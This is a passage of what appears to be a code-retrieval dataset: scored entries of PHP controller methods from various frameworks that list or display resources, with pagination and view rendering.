{\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n //dump($todos);\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "title": "" }, { "docid": "8e473fb8d57781fcbb301d794e4638b7", "score": "0.68060493", "text": "public function listResources();", "title": "" }, { "docid": "ae6ac1129584c76c474a8718bca91c33", "score": "0.6777992", "text": "public function ListView() {\n $this->Render();\n }", "title": "" }, { "docid": "ecd287988f4b7da6fd1ee3a4ce0dbbb4", "score": "0.6773239", "text": "public function index()\n {\n $tickets = TicketsModel::paginate(10);\n\n //passing data to resource\n return TicketsResource::collection($tickets);\n }", "title": "" }, { "docid": "e33620f9e0602f70ef6cab4f1bdb2610", "score": "0.67698944", "text": "public function index()\n\t{\n\t\t$this->listar();\n\t}", "title": "" }, { "docid": "3cb20d494ffa4e3923d82dc428173efe", "score": "0.67429936", "text": "public function listAction()\n {\n $date = array();\n $date['year'] = $this->_getParam('year', null);\n $date['month'] = $this->_getParam('month', null);\n $date['day'] = $this->_getParam('day', null);\n\n $model = $this->_getPhotoModel();\n\n $by = $this->_getParam('by', null);\n if ($by == 'taken_at') {\n $entries = $model->fetchEntriesByTakenAt($date, $this->_getParam('page', 1));\n } else {\n $entries = $model->fetchEntriesByCreated($date, $this->_getParam('page', 1));\n }\n $this->view->paginator = $entries;\n }", "title": "" }, { "docid": "a62c8fb3c6a39b17143e4f99a44215eb", "score": "0.67427605", "text": "public function index()\n {\n // Get Products\n $products = Product::paginate(15);\n\n // Return collection of products as a resource\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "04105211a75ba7457c72346a442bef90", "score": "0.6741068", "text": "function Index()\n\t\t{\n\t\t\t$this->DefaultParameters();\n\t\t\t\r\n\t\t\t$parameters = array('num_rows');\r\n\t\t\t$this->data[$this->name] = $this->controller_model->ListItemsPaged($this->request->get, '', $parameters);\r\n\t\t\t$this->data['num_rows'] = $parameters['num_rows'];\n\t\t}", "title": "" }, { "docid": "1791d7d351176ff2ce62051654642a7d", "score": "0.6740988", "text": "public function indexAction()\n {\n $this->render('lists/index', array(\n 'title' => 'Todo Lists',\n 'lists' => TodoList::all()\n ));\n }", "title": "" }, { "docid": "f1af362b177db60f1aa234951fb3dd26", "score": "0.67401904", "text": "public function listAction()\r\n {\r\n\r\n return array(\r\n 'items' => $this->getMapper()->findAll()\r\n );\r\n }", "title": "" }, { "docid": "1ad218b37000705f13503d05f42e31f8", "score": "0.6729259", "text": "public function listing(){\n //appelle constructeur produit\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.6724347", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.6724347", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "8bc383be0c0551987008cc1e903dfb3e", "score": "0.67160136", "text": "function listing(){ \n $data['title'] = 'Senarai Selenggaraan';\n $this->_render_page($data);\n }", "title": "" }, { "docid": "465ee43697fce30b312a8f52108bb059", "score": "0.6709121", "text": "public function listAction ( )\n {\n $model = $this->getModel('Scale');\n $request = $this->getRequest();\n\n $this->view->items = $model->paginate($request->getParams());\n\n }", "title": "" }, { "docid": "5370c2b221a0c31116fb4369ab9f4812", "score": "0.66990983", "text": "public function actionIndex()\n {\n // init Active Record\n $query = new ProfileRecords();\n\n // set current page and offset\n $page = (int)$this->request->query->get('page');\n $offset = $page * self::ITEM_PER_PAGE;\n\n // build pagination\n $pagination = new SimplePagination([\n 'url' => ['profile/index'],\n 'page' => $page,\n 'step' => self::ITEM_PER_PAGE,\n 'total' => $query->count()\n ]);\n\n // build listing objects\n $records = $query->orderBy('id', 'desc')->skip($offset)->take(self::ITEM_PER_PAGE)->get();\n\n // display viewer\n return $this->view->render('index', [\n 'records' => $records,\n 'pagination' => $pagination\n ]);\n }", "title": "" }, { "docid": "ec97d24c4e19a5128b0e53c5846b9bf5", "score": "0.66918457", "text": "public function index()\n {\n return $this->getList();\n\n }", "title": "" }, { "docid": "ff020d8354464758e72e91a912f20d8e", "score": "0.66906613", "text": "public function actionList()\n {\n $list = $this->viewList('car');\n $imgs = ImageModel::load('img/car/logo/');\n return $this->render('list',compact('list','imgs'));\n }", "title": "" }, { "docid": "cd9c5c4bfebd4034e9aab606b543d95a", "score": "0.6689341", "text": "public function index()\n {\n $todos = Todo::paginate(50);\n return TodosResource::collection($todos);\n }", "title": "" }, { "docid": "5509d28122c561e86197cbcc735e8008", "score": "0.66885567", "text": "public function index()\n {\n $products = Product::filter()->paginate();\n\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "712af5c8b3ebcbb93ccacf71c37b0d64", "score": "0.66871786", "text": "public function index()\n {\n return ResourceResource::collection(auth()->user()->resources);\n }", "title": "" }, { "docid": "ffb17c08a85c1385b784beb46e5b3ade", "score": "0.66856325", "text": "public function index()\n {\n $artists = Artist::orderBy('sort', 'asc')->get();\n\n return ArtistResource::collection($artists);\n }", "title": "" }, { "docid": "7ee6025c5609ac52b9b1dbb4db5ac2f3", "score": "0.6685278", "text": "public function index()\n\t{\n\t\tlist_details();\n\t}", "title": "" }, { "docid": "10a81357fb2912f13e91cd4d9b24c4d0", "score": "0.6682578", "text": "public function listAction()\n {\n $contentObject = $this->configurationManager->getContentObject();\n $header = $contentObject->data['header'];\n\n $this->view->assign('header', $header);\n $this->view->assign('plays', $this->playRepository->findAll());\n }", "title": "" }, { "docid": "4749d27d60b7528b95f66725757fb6f5", "score": "0.6674481", "text": "public function listAction()\n {\n $tags = $this->getTags();\n $this->view->assign('tags', $tags);\n }", "title": "" }, { "docid": "148383f68d3328f7ff820d3aa26f22ff", "score": "0.6668453", "text": "public function indexAction()\n\t{\n\t\t$this->_view->_title \t\t\t\t= ucfirst($this->_arrParam['controller']) . \" Controller :: List\";\n\n\t\t//Total Items\n\t\t$this->_view->itemsStatusCount \t\t= $this->_model->countItems($this->_arrParam, ['task' => 'count-items-status']);\n\t\t$itemCount \t\t\t\t\t\t\t= $this->_model->countItems($this->_arrParam, ['task' => 'count-items-status']);\n\t\t$configPagination \t\t\t\t\t= ['totalItemsPerPage' => 5, 'pageRange' => 3];\n\t\t$this->setPagination($configPagination);\n\t\t$status \t\t\t\t\t\t\t= $this->_arrParam['status'] ?? 'all';\n\t\t$this->_view->pagination \t\t\t= new Pagination($itemCount[$status], $this->_pagination);\n\n\t\t//List Items\n\t\t$this->_view->items \t\t\t\t= $this->_model->listItems($this->_arrParam);\n\t\t$this->_view->slbCategory \t\t\t\t= [0 => ' - Select Category - '] + $this->_model->itemInSelectbox($this->_arrParam, null);\n\t\t$this->_view->render($this->_arrParam['controller'] . '/index');\n\t}", "title": "" }, { "docid": "b4ab065b5e289a80de47b28c29b12ba7", "score": "0.66682696", "text": "public function index()\n {\n /* authorization */\n $this->authorize('viewAny', Family::class);\n\n $families = Family::all();\n /* return resource collection */\n return FamilyResource::collection($families);\n }", "title": "" }, { "docid": "91774d2a4f88a022706d4cc72b2fb4b9", "score": "0.6661867", "text": "public function _index() {\n\t\t$datas = DAO::getAll ( $this->model );\n\t\techo $this->_getResponseFormatter ()->get ( $datas );\n\t}", "title": "" }, { "docid": "473597c1b0826e1810587ecd7042a12d", "score": "0.6659602", "text": "public function actionIndex()\n {\n $searchModel = new ResourcemanagementSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "68a18d7d7744ddf6d10c85166d9a9672", "score": "0.6657417", "text": "public function listing($arguments);", "title": "" }, { "docid": "0e3a54a39646333a6d375a7c945db124", "score": "0.66553754", "text": "public function listAction()\n {\n $user = $this->getUser();\n $em = $this->getDoctrine()->getManager();\n $films = $em->getRepository(Film::class)\n ->findAll();\n return $this->render('admin/listFilm.html.twig', [\n 'films' => $films,\n 'user' => $user\n ]);\n }", "title": "" }, { "docid": "f186543d4e229fe60c320d197652a0ac", "score": "0.66483", "text": "public function index()\n {\n return BookResource::collection(Book::paginate());\n }", "title": "" }, { "docid": "6e0e97799dea5e1f1424a0ed54835cae", "score": "0.66468775", "text": "public function index()\n {\n $products = Product::paginate();\n\t\treturn new ListCollection($products);\n }", "title": "" }, { "docid": "12d65a6c55f0fff8b933565f6365be6c", "score": "0.6637351", "text": "public function index() {\n return $this->showAll();\n }", "title": "" }, { "docid": "862f0847ab763608409837b536150716", "score": "0.66351473", "text": "public function indexAction()\r\n\t{\r\n\t\t$this->view->mainTitle = \"Listado de Plantillas\";\r\n\t\t$this->view->errors = $this->_helper->flashMessenger->getMessages();\r\n\t\t\r\n\t\t$nombre = $this->getParam(\"nombre\");\r\n\t\t$plantillas = $this->getRepository()->find($nombre);\r\n\t\t\r\n\t\t$this->view->plantillas = $plantillas;\r\n\t}", "title": "" }, { "docid": "39fb2eb38215d01e980796dd191b4bc2", "score": "0.66244763", "text": "public function index()\n {\n // needs to return multiple articles\n // so we use the collection method\n return ArticleListResource::collection(Article::all());\n }", "title": "" }, { "docid": "77b2fcb12774bae3c68bc3f546be203d", "score": "0.662314", "text": "public function list ()\n {\n $products = Product::all();\n\n View::load('home', [\n 'products' => $products\n ]);\n\n }", "title": "" }, { "docid": "7eb3e9d73404c31d887de34e0e543165", "score": "0.66207063", "text": "public function index()\n {\n $streams = Streams::paginate(15);\n\n return StreamsResource::collection($streams);\n }", "title": "" }, { "docid": "2564823d78cf46605ebc641dd521408d", "score": "0.661844", "text": "public function listAction() {\n $this->_datatable();\n return $this->render('BackendBundle:FeastStage:list.html.twig');\n }", "title": "" }, { "docid": "c5562ea22267c67b7e362d148ab229b0", "score": "0.6614037", "text": "public function index ()\n {\n $data = Category::paginate(15);\n\n return $this->display( [ 'data' => $data ] );\n }", "title": "" }, { "docid": "a10012db405ad2f58017047d7c5955a3", "score": "0.66137826", "text": "public function index()\n {\n // get articles\n $articles = Article::paginate(15);\n\n // return collection of articles as a ressource\n return ArticleResource::collection($articles);\n }", "title": "" }, { "docid": "4e546e7736c944aa032aaf9b866565c0", "score": "0.6611166", "text": "public function indexAction() {\n\t\t$this->view->assign('staticLists', $this->staticListService->listAll());\n\t}", "title": "" }, { "docid": "2d2195ebc523704e7f178bd9b4556f73", "score": "0.66087025", "text": "public function index()\n\t{\n\t\t//\n\t\t$resources = \\App\\Resource::with('category')->get();\n\t\treturn view('viewResource',['resources' => $resources ]);\n\t}", "title": "" }, { "docid": "8654188b350eeb0d720961a0f868517e", "score": "0.66016626", "text": "public function indexAction() {\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n\n\t\t//GET SUBJECT AND OTHER SETTINGS\n $this->view->list = Engine_Api::_()->core()->getSubject('list_listing');\n\t\t$settings_api = Engine_Api::_()->getApi('settings', 'core');\n\t\t$this->view->show_featured = $settings_api->getSetting('list.feature.image', 1);\n\t\t$this->view->featured_color = $settings_api->getSetting('list.featured.color', '#0cf523');\n\t\t$this->view->show_sponsered = $settings_api->getSetting('list.sponsored.image', 1);\n\t\t$this->view->sponsored_color = $settings_api->getSetting('list.sponsored.color', '#fc0505');\n\t\t\n //GET VIEWER AND CHECK VIEWER CAN EDIT PHOTO OR NOT\n $viewer = Engine_Api::_()->user()->getViewer();\n\t\t$this->view->can_edit = $this->view->list->authorization()->isAllowed($viewer, \"edit\");\n }", "title": "" }, { "docid": "c6630fa3ab4d194924045c2530a6eaf3", "score": "0.6594862", "text": "public function listAction()\n {\n $model = $this->_owApp->selectedModel;\n $translate = $this->_owApp->translate;\n $store = $this->_erfurt->getStore();\n $resource = $this->_owApp->selectedResource;\n $ac = $this->_erfurt->getAc();\n $params = $this->_request->getParams();\n $limit = 20;\n\n $rUriEncoded = urlencode((string)$resource);\n $mUriEncoded = urlencode((string)$model);\n $feedUrl = $this->_config->urlBase . \"history/feed?r=$rUriEncoded&mUriEncoded\";\n\n $this->view->headLink()->setAlternate($feedUrl, 'application/atom+xml', 'History Feed');\n\n // redirecting to home if no model/resource is selected\n if (\n empty($model) ||\n (\n empty($this->_owApp->selectedResource) &&\n empty($params['r']) &&\n $this->_owApp->lastRoute !== 'instances'\n )\n ) {\n $this->_abort('No model/resource selected.', OntoWiki_Message::ERROR);\n }\n\n // getting page (from and for paging)\n if (!empty($params['page']) && (int) $params['page'] > 0) {\n $page = (int) $params['page'];\n } else {\n $page = 1;\n }\n\n // enabling versioning\n $versioning = $this->_erfurt->getVersioning();\n $versioning->setLimit($limit);\n\n if (!$versioning->isVersioningEnabled()) {\n $this->_abort('Versioning/History is currently disabled', null, false);\n }\n\n $singleResource = true;\n // setting if class or instances\n if ($this->_owApp->lastRoute === 'instances') {\n // setting default title\n $title = $resource->getTitle() ?\n $resource->getTitle() :\n OntoWiki_Utils::contractNamespace($resource->getIri());\n $windowTitle = $translate->_('Versions for elements of the list');\n\n $listHelper = Zend_Controller_Action_HelperBroker::getStaticHelper('List');\n $listName = \"instances\";\n if ($listHelper->listExists($listName)) {\n $list = $listHelper->getList($listName);\n $list->setStore($store);\n } else {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('something went wrong with the list of instances', OntoWiki_Message::ERROR)\n );\n }\n\n $query = clone $list->getResourceQuery();\n $query->setLimit(0);\n $query->setOffset(0);\n //echo htmlentities($query);\n\n $results = $model->sparqlQuery($query);\n $resourceVar = $list->getResourceVar()->getName();\n\n $resources = array();\n foreach ($results as $result) {\n $resources[] = $result[$resourceVar];\n }\n //var_dump($resources);\n\n $historyArray = $versioning->getHistoryForResourceList(\n $resources,\n (string) $this->_owApp->selectedModel,\n $page\n );\n //var_dump($historyArray);\n\n $singleResource = false;\n } else {\n // setting default title\n $title = $resource->getTitle() ?\n $resource->getTitle() :\n OntoWiki_Utils::contractNamespace($resource->getIri());\n $windowTitle = sprintf($translate->_('Versions for %1$s'), $title);\n\n $historyArray = $versioning->getHistoryForResource(\n (string)$resource,\n (string)$this->_owApp->selectedModel,\n $page\n );\n }\n\n if (sizeof($historyArray) == ( $limit + 1 )) {\n $count = $page * $limit + 1;\n unset($historyArray[$limit]);\n } else {\n $count = ($page - 1) * $limit + sizeof($historyArray);\n }\n\n $idArray = array();\n $userArray = $this->_erfurt->getUsers();\n $titleHelper = new OntoWiki_Model_TitleHelper();\n // Load IDs for rollback and Username Labels for view\n foreach ($historyArray as $key => $entry) {\n $idArray[] = (int) $entry['id'];\n if (!$singleResource) {\n $historyArray[$key]['url'] = $this->_config->urlBase . \"view?r=\" . urlencode($entry['resource']);\n $titleHelper->addResource($entry['resource']);\n }\n\n if ($entry['useruri'] == $this->_erfurt->getConfig()->ac->user->anonymousUser) {\n $userArray[$entry['useruri']] = 'Anonymous';\n } else if ($entry['useruri'] == $this->_erfurt->getConfig()->ac->user->superAdmin) {\n $userArray[$entry['useruri']] = 'SuperAdmin';\n } else if (is_array($userArray[$entry['useruri']])) {\n if (isset($userArray[$entry['useruri']]['userName'])) {\n $userArray[$entry['useruri']] = $userArray[$entry['useruri']]['userName'];\n } else {\n $titleHelper->addResource($entry['useruri']);\n $userArray[$entry['useruri']] = $titleHelper->getTitle($entry['useruri']);\n }\n }\n }\n $this->view->userArray = $userArray;\n $this->view->idArray = $idArray;\n $this->view->historyArray = $historyArray;\n $this->view->singleResource = $singleResource;\n $this->view->titleHelper = $titleHelper;\n\n if (empty($historyArray)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message(\n 'No history for the selected resource(s).',\n OntoWiki_Message::INFO\n )\n );\n }\n\n if ($this->_erfurt->getAc()->isActionAllowed('Rollback')) {\n $this->view->rollbackAllowed = true;\n // adding submit button for rollback-action\n $toolbar = $this->_owApp->toolbar;\n $toolbar->appendButton(\n OntoWiki_Toolbar::SUBMIT,\n array('name' => $translate->_('Rollback changes'), 'id' => 'history-rollback')\n );\n $this->view->placeholder('main.window.toolbar')->set($toolbar);\n } else {\n $this->view->rollbackAllowed = false;\n }\n\n // paging\n $statusBar = $this->view->placeholder('main.window.statusbar');\n // the normal page_param p collides with the generic-list param p\n OntoWiki_Pager::setOptions(array('page_param'=>'page'));\n $statusBar->append(OntoWiki_Pager::get($count, $limit));\n\n // setting view variables\n $url = new OntoWiki_Url(array('controller' => 'history', 'action' => 'rollback'));\n\n $this->view->placeholder('main.window.title')->set($windowTitle);\n\n $this->view->formActionUrl = (string) $url;\n $this->view->formMethod = 'post';\n // $this->view->formName = 'instancelist';\n $this->view->formName = 'history-rollback';\n $this->view->formEncoding = 'multipart/form-data';\n }", "title": "" }, { "docid": "ffa4ab9d8165639a117e4bc3980fc30d", "score": "0.65901047", "text": "public function index()\n {\n //\n // $authors= Author::all();\n $authors = QueryBuilder::for(Author::class)->allowedSorts([\n 'name',\n 'created_at'\n ])->jsonPaginate();\n return AuthorsResource::collection($authors);\n }", "title": "" }, { "docid": "e16b7bcfc7e0c35a6d0ecf74b30d6a20", "score": "0.6588109", "text": "public function index()\n {\n $title = $this->title($this->modelName);\n $modelName = $this->modelName;\n $model = $this->model;\n $listStatus = $this->listStatus;\n $models = Bank::paginate(10);\n return view('bank.lists.index', compact('title', 'models', 'modelName', 'model', 'listStatus'));\n }", "title": "" }, { "docid": "fb55b34f40f8931a10a91283716c2912", "score": "0.6586261", "text": "public function index()\n {\n return ListItem::all();\n }", "title": "" }, { "docid": "0221833762d40c420a048045edcecf8f", "score": "0.6585615", "text": "public function actionList()\n {\n $searchModel = new RecipeRepository();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render([\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "74d4617df84723cff26f33e255390482", "score": "0.65854937", "text": "public function actionIndex()\n {\n $items = ModelGeneral::showItems();\n\n $this->view->render('index', [\n 'items' => $items\n ]);\n }", "title": "" }, { "docid": "d387ade88ed7ada9aa0979d5a0c09bee", "score": "0.65854025", "text": "public function index()\n {\n return ProductResource::collection(Product::paginate());\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.6563107", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "b9b300aec37bbe88214d2c466b083d07", "score": "0.65604323", "text": "public function index()\n {\n // Obtengo los resultados\n $results = Result::all();\n\n // Lo devuelvo como un recurso\n return ResultResource::collection($results);\n }", "title": "" }, { "docid": "e840f12f97ea99ca01a90a9ec9cad7ca", "score": "0.6560144", "text": "public function index()\n {\n return BookResource::collection(Book::with('authors')->paginate(25));\n }", "title": "" }, { "docid": "7056dcfc0479ee6a004c692cbdce673b", "score": "0.6555927", "text": "public function index()\n {\n $operations = $this->Operations->getAllOperations();\n $this->set(compact('operations'));\n }", "title": "" }, { "docid": "19e51010afc5a8251ed229fa24e89b84", "score": "0.6554094", "text": "public function index()\n {\n $items = Item::search()->paginate(10);\n return view('item.list', compact('items'));\n }", "title": "" }, { "docid": "451b54ad54f4267a96a3c9a18faae916", "score": "0.6551895", "text": "function index()\n {\n $this->listArticles();\n }", "title": "" }, { "docid": "8ffe23111661c679bede8757d6ebad59", "score": "0.65482754", "text": "public function index()\n\t{\n\t\t$data['lists'] = $this->role_model->get_all();\n\t\t$this->template->set('title', 'Role List');\n\t\t$this->template->admin('template', 'list', $data);\n\t}", "title": "" }, { "docid": "ea133c7a5d450c0580ac1c613df4b59d", "score": "0.6547397", "text": "public function index()\n {\n //Get Movies\n $movies = Movie::paginate(15);\n\n //return collection of movies as a resource\n return MovieResource::collection($movies);\n }", "title": "" }, { "docid": "46a4b83443e6a7cb9ed2604a7ba376d3", "score": "0.653975", "text": "public function viewList(): void\n {\n $model = self::fetchModel($this->request->get(self::PARAM_MODEL_NAME));\n $this->response->set(Mvc::TEMPLATE, 'manager');\n $this->response->set(Mvc::CONTEXT, $this->request->get(Mvc::CONTEXT));\n $this->response->set(Mvc::VIEW, $this->request->get(Mvc::VIEW));\n $this->response->set('config', $this->getCrudConfig($model));\n $content = FrontendHelper::parseFile('/var/www/_dev/vendor/noxkiwi/crud/frontend/view/crudfrontend/list.php');\n $this->response->set('content', $content);\n $this->response->set(self::PARAM_MODEL_NAME, $this->modelName);\n }", "title": "" }, { "docid": "f0e979747234803271be38ea6cd3396e", "score": "0.65390545", "text": "public function index()\n\t{\n\t\t$categories = Category::paginate(5);\n\t\treturn CategoryResource::collection($categories);\n\t}", "title": "" }, { "docid": "e08fd6cadf8c20cad7196e73194fba35", "score": "0.6537044", "text": "public function index()\n {\n return $this->service->showAll();\n }", "title": "" }, { "docid": "f852b02ada9624be17ccc6c0b233bca4", "score": "0.6527908", "text": "public function list()\n {\n }", "title": "" }, { "docid": "de74480294a1123dacaf091a018a43f7", "score": "0.6525191", "text": "public function _index(){\n\t $this->_list();\n\t}", "title": "" }, { "docid": "3a2bf5049606c1975209783c9d992936", "score": "0.65193874", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $recipes = $em->getRepository('AppBundle:Recipe')->findAll();\n\n return $this->render('@frontend/recipe/list.html.twig', array(\n 'recipes' => $recipes\n ));\n }", "title": "" }, { "docid": "976cbb5be4594e239e987a2fbcbe8b3a", "score": "0.65129685", "text": "public function index()\n {\n return FieldResource::collection(Field::paginate());\n }", "title": "" }, { "docid": "901678e4ca1d10119628a2768429725f", "score": "0.65127206", "text": "public function index()\n {\n return AlbumResource::collection(\\App\\Album::orderBy('created_at', 'desc')->get());\n }", "title": "" }, { "docid": "f2cedab0962de588e01c1716c1790aad", "score": "0.65070736", "text": "public function index()\n {\n // return Response::json(request()->route(), 200);\n $action = \"SHOW \" . $this->page;\n try {\n $search = request()->get(\"search\");\n $isPaging = request()->exists(\"page\");\n\n $model = $this->model::query();\n\n // If admin searches for any name\n if (!empty($search)) {\n $model = $model->whereName($search);\n }\n\n if (isset($this->loadParam['read'])) {\n if(isset($this->loadParam['read']['with'])) {\n $withs = explode(',', $this->loadParam['read']['with']);\n foreach ($withs as $with) {\n $model = $model->with($with);\n }\n }\n }\n\n // Provide based on paging or not\n if ($isPaging) {\n $model = $model\n ->orderBy('id', 'desc')->paginate();\n } else {\n $model = $model\n ->orderBy('id', 'desc')->get();\n }\n\n // If permission has data\n if ($model) {\n $this->lg($this->page . ' list shown', 'info', $action, 200);\n return response()->json($model);\n } else {\n $this->lg($this->page . ' list not found', 'warning', $action, 404);\n return response()->json(\"Not found\", 404);\n }\n } catch (\\Exception $e) {\n $this->lg($e, 'error', $action, 500);\n return response()->json($this->experDifficulties, 500);\n }\n }", "title": "" }, { "docid": "ef707fce78cb544fb65c0a4e38796dff", "score": "0.6500415", "text": "private function showList(): void\n {\n $msg = \"Welcome customer, to view the product list type: list\\n\";\n echo $msg;\n while ($command = $this->getInput() !== 'list') {\n echo $msg;\n };\n $products = Route::goTo('list');\n $this->products = $products;\n foreach ($this->products as $product) {\n echo $product->toString() . \"\\n\";\n }\n }", "title": "" }, { "docid": "a281ecc70e3d52bd2ee1e4bfba8e1724", "score": "0.64975107", "text": "public function index()\n {\n return SongResource::collection(Song::all()->sortByDesc('created_at'));\n }", "title": "" }, { "docid": "7f844292b4038bfed459f1130c7632dd", "score": "0.649654", "text": "public function listAction()\n {\n $this->view->assign('articles', $this->repository->findForListPlugin($this->settings, $this->getData()));\n }", "title": "" }, { "docid": "ff30a4ae8d49f1706d1dbd328394a294", "score": "0.6493319", "text": "public function index()\n {\n $brands = Brand::query()->paginate();\n return BrandResource::collection($brands);\n }", "title": "" }, { "docid": "629569270186c168f2f698db8154b51a", "score": "0.64878637", "text": "public function index()\n {\n $articles = Article::query()->latest()->paginate(10);\n\n return ArticleResource::collection($articles);\n }", "title": "" }, { "docid": "228d685d5f1d86518c57ce853ccd52ef", "score": "0.6485972", "text": "public function listAction() {\n\t\t$literatures = $this->literatureRepository->findAll();\n\t\t$this->view->assign('literatures', $literatures);\n\t}", "title": "" }, { "docid": "25aaedcb3f8fbe36cdc02986a86cf453", "score": "0.6484975", "text": "public function index()\n {\n // Get Specifications\n $specifications = Specification::orderBy('created_at', 'desc')->paginate(100);\n\n // Return collection of Specifications as a resource\n return SpecificationResource::collection($specifications);\n }", "title": "" }, { "docid": "e4ed0c12368721c8003fa5e2056a624b", "score": "0.6478393", "text": "public function indexAction()\n {\n $user = $this->get('security.context')->getToken()->getUser();\n \n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('BricksSiteBundle:ExternalResource')->findBy(\n array(),\n array('title' => 'ASC')\n );\n\n return array(\n 'entities' => $entities,\n );\n }", "title": "" }, { "docid": "d4e011bbb309b20dccd6a637cae8b802", "score": "0.6473578", "text": "public function index()\n {\n return response(TodoResource::collection(Todo::all()), 200);\n }", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "4bac3188558c3acab53dd8d5175c1d4e", "score": "0.0", "text": "public function show($id)\n {\n //\n }", "title": "" } ]
[ { "docid": "ac91646235dc2026e2b2e54b03ba6edb", "score": "0.8190437", "text": "public function show(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "754e1795026ca4c71e3959656a533ca3", "score": "0.77020115", "text": "private function _displayResource() {\n\t\t// determine which action to take\n\t\t$lti_message_type = $this->lti_model->getLtiDataValue('lti_message_type');\n\t\tswitch( $lti_message_type ){\n\t\t\tcase 'ContentItemSelectionRequest' : // take user to the content item selector\n\t\t\t\t$this->_getContentItemSelectionRequest();\n\t\t\t\tbreak;\n\t\t\tcase 'basic-lti-launch-request' : // retrieve the requested resource\n\t\t\tdefault :\n\t\t\t\t// store LTI basic outcomes service details when an outcome is requested\n\t\t\t\t$this->lti_outcomes->saveLtiOutcomesValues();\n\t\t\t\t$this->getContent( $custom_resource_id );\n\t\t}\n\t}", "title": "" }, { "docid": "d77a1cf077ad489eb930bc1facfeb4a7", "score": "0.7348343", "text": "public function show($class_id, $resource)\n {\n //\n }", "title": "" }, { "docid": "26f38c42099a7c64fba7842c4ce19062", "score": "0.7230476", "text": "public function show(Resource $resource)\n {\n return view('actions.resource.show', compact('resource'));\n }", "title": "" }, { "docid": "b8de278532cf1b2d94016c0cd12737fd", "score": "0.7159185", "text": "public function show(Resource $resource)\n {\n $resource = new ResourceResource($resource);\n return $this->success('Resource Detail.', $resource);\n }", "title": "" }, { "docid": "48fb67ee8a54377a224740d572c17cdd", "score": "0.7143722", "text": "public function show(Resource $resource)\n {\n return view('resource.show',['resource'=>$resource]);\n }", "title": "" }, { "docid": "50078f2eddc7667a37be0da403d6d3e4", "score": "0.7131298", "text": "function display($resource_name, $cache_id = null, $compile_id = null) {\n // Был старый выхзов, учитывал кеширование\n //$this->fetch($resource_name, $cache_id, $compile_id, true);\n $this->render($resource_name);\n }", "title": "" }, { "docid": "860344e8f85b09bf11e41aa48e928f6e", "score": "0.6776001", "text": "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BWBlogBundle:Resource')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Resource entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BWBlogBundle:Resource:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(), ));\n }", "title": "" }, { "docid": "bc7cbf8f7bf2cdecfc58cc20b4ee76ef", "score": "0.6574996", "text": "public function show($course, Resource $resource)\n {\n\n\n $pageTitle = 'Resource';\n\n return view('resources.resource')->with(compact( 'resource', 'pageTitle'));\n }", "title": "" }, { "docid": "cc94e2329160f202733c635aa4bf0b30", "score": "0.65286446", "text": "public function show($param)\r\n {\r\n\r\n $data['resource_header'] = true;\r\n $user_id = ($this->auth)?$this->auth->id:null;\r\n $data['resource'] = Resource::with(['tags', 'likesCount', 'user', 'downloads', 'category', 'category.resources' => function($q){\r\n $q->limit(4);\r\n }, 'like' => function($q)use($user_id){\r\n $q->where('user_id', $user_id);\r\n }])\r\n ->where('slug', $param)\r\n ->orWhere('id', $param)\r\n ->firstOrFail();\r\n\r\n $author = User::with('profile')\r\n ->where('id', $data['resource']->user_id)\r\n ->get()\r\n ->toArray();\r\n\r\n if(count($author) > 0){\r\n $data['author'] = $author[0];\r\n }\r\n\r\n $data['latestResources'] = Resource::with('category')->orderBy('id', 'desc')->limit(5)->get();\r\n $data['tags'] = Tag::orderBy('id','desc')->get();\r\n\r\n return view('public.resource')->with($data);\r\n }", "title": "" }, { "docid": "69545e83d1d4c03b646757789a897b5b", "score": "0.6515112", "text": "public function show(Resource $resource)\n {\n //\n // $this->authorize('view',Resource::class);\n // $page=Page::all();\n // $resource=Resource::all();\n // return view('resource.show',compact('page','resource'));\n return response()->json($resource);\n }", "title": "" }, { "docid": "51abeaf13e315e938469da7a51936df5", "score": "0.6467601", "text": "public function show($id)\n {\n $query = '\"select\":\"*\",\"where\":\"id=' . $id . '\"';\n $data = ResourcesService::getResourcesTableRow($query);\n $resource = $data[\"Result\"][0];\n //$resource = Resource::findOrFail($id);\n\n return view('admin.resources.show', compact('resource'));\n }", "title": "" }, { "docid": "4869655563febeddc21b876b2d3bd399", "score": "0.6464456", "text": "public function showResource(Request $request, $id = 0);", "title": "" }, { "docid": "6e101e96500f24d567e50a803b6d00fb", "score": "0.64562225", "text": "public function show($id)\n\t{\n\t\t// Get the resource if it has not been provided by the child class\n\t\tif( ! $this->resource->getKey())\n\t\t\t$this->resource = $this->resource->findOrFail($id);\n\n\t\t$this->layout->subtitle = _('Details');\n\n\t\treturn $this->loadView(__FUNCTION__, $this->resource->getVisibleLabels());\n\t}", "title": "" }, { "docid": "0bfd2fab1690e405f8ae90f2f671725b", "score": "0.63684106", "text": "public function show($id)\n\t{\n\t\t$resource = Resource::findOrFail($id);\n\t\treturn 